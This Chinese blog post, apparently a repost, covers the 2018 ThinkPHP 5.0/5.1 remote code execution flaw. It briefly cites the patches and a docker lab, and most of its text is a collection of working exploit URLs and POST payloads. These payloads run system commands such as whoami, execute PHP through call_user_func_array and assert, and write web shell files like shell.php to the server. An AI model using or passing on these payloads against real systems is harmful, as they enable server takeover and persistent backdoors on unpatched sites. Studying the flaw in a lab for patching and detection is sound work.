thinkphp5.x全版本任意代码执行getshell

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,因为框架对控制器名没有进行足够的检测会致使在没有开启强制路由的状况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。php

主要是由于”\“的错误git

补丁:

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756fgithub

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815docker

环境地址:

docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29thinkphp

漏洞利用

1.远程命令执行exp:shell

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.0~5.0.23xexp:安全

http://127.0.0.1/index.php?s=captcha
 post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

2.远程代码执行app

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #执行代码phpinfo()
 http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert #5.1.x版本执行phpinfo()
 http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #5.1.x版本
 http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() #5.0.x版本

3.写shell框架

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>2.php

 thinkPHP-漏洞集合:http://www.javashuo.com/article/p-qgxrhzig-dw.htmlpost

 包含:https://www.shuzhiduo.com/A/o75NEg6PJW/

相关文章
相关标签/搜索